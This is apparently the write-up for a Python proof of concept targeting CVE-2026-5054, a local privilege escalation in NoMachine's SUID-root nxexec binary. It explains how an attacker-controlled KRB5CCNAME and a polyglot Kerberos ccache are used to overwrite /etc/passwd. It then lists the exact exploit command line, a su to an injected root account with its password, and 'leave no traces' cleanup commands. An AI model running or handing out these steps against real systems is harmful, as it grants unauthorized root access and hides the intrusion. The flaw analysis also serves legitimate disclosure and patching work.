
Writeup and Python PoC for CVE-2026-5054, a NoMachine nxexec SUID-root local privilege escalation via KRB5CCNAME polyglot ccache overwriting /etc/passwd.
A logic flaw in the NoMachine SUID-root binary (nxexec) allows an unprivileged local user to escalate privileges to root. The binary insecurely handles user-controlled environment variables (KRB5CCNAME) and command-line arguments, resulting in an arbitrary file overwrite vulnerability.
By leveraging a crafted polyglot Kerberos ccache file, an attacker can overwrite /etc/passwd and inject a malicious root user.
The vulnerability exists within the RedelegateKerberosTicketMit() function in the nxexec binary. The function reads the environment variable KRB5CCNAME as the source Kerberos credential cache, while the username and dest_cache are passed as attacker-controlled arguments.
int RedelegateKerberosTicketMit(char *username, char *dest_cache) {
...
logger("RedelegateKerberosTicketMit: Username is %s.\n", username);
logger("RedelegateKerberosTicketMit: Destination cache is %s.\n", dest_cache);
pcVar2 = getenv("KRB5CCNAME"); // Attacker controlled source file
if (pcVar2 == (char *)0x0) {
logger("RedelegateKerberosTicketMit: ERROR! Kerberos source cache not passed.\n");
return -1;
}
The function executes without validating that any of the paths refer to legitimate or safe locations. It attempts to reconstruct and validate the Kerberos cache:
iVar1 = (*krb5_cc_get_principal)(context, local_c0, &local_b0);
If the file passes validation as a valid Kerberos ccache file, it proceeds to copy the file to the user-controlled destination (dest_cache) as root:
iVar1 = (*krb5_cc_copy_creds)(context, local_b8, local_b0);
The only limitation is that the source file must be a valid Kerberos ccache file for krb5_cc_get_principal to succeed.
To bypass this, poc.py creates a polyglot file. It writes a valid ccache header (0x0504) and injects the original contents of /etc/passwd—along with a newly created root user—directly into the Kerberos principal component.
When krb5_cc_copy_creds copies this crafted cache over /etc/passwd, the Linux OS ignores the binary garbage at the top of the file and successfully parses the injected plain-text root user.
krb5cc_POC payload and backup the current /etc/passwd.python3 poc.py
/etc/passwd.KRB5CCNAME=krb5cc_POC /usr/NX/bin/nxexec --user root --gssserver --gssredelegate /etc/passwd
su r00t_POC_NX
# Password is: NX_PRIVESC123
Leave no traces behind by restoring the original state:
cp /tmp/passwd.bak /etc/passwd
chmod 644 /etc/passwd
rm /tmp/passwd.bak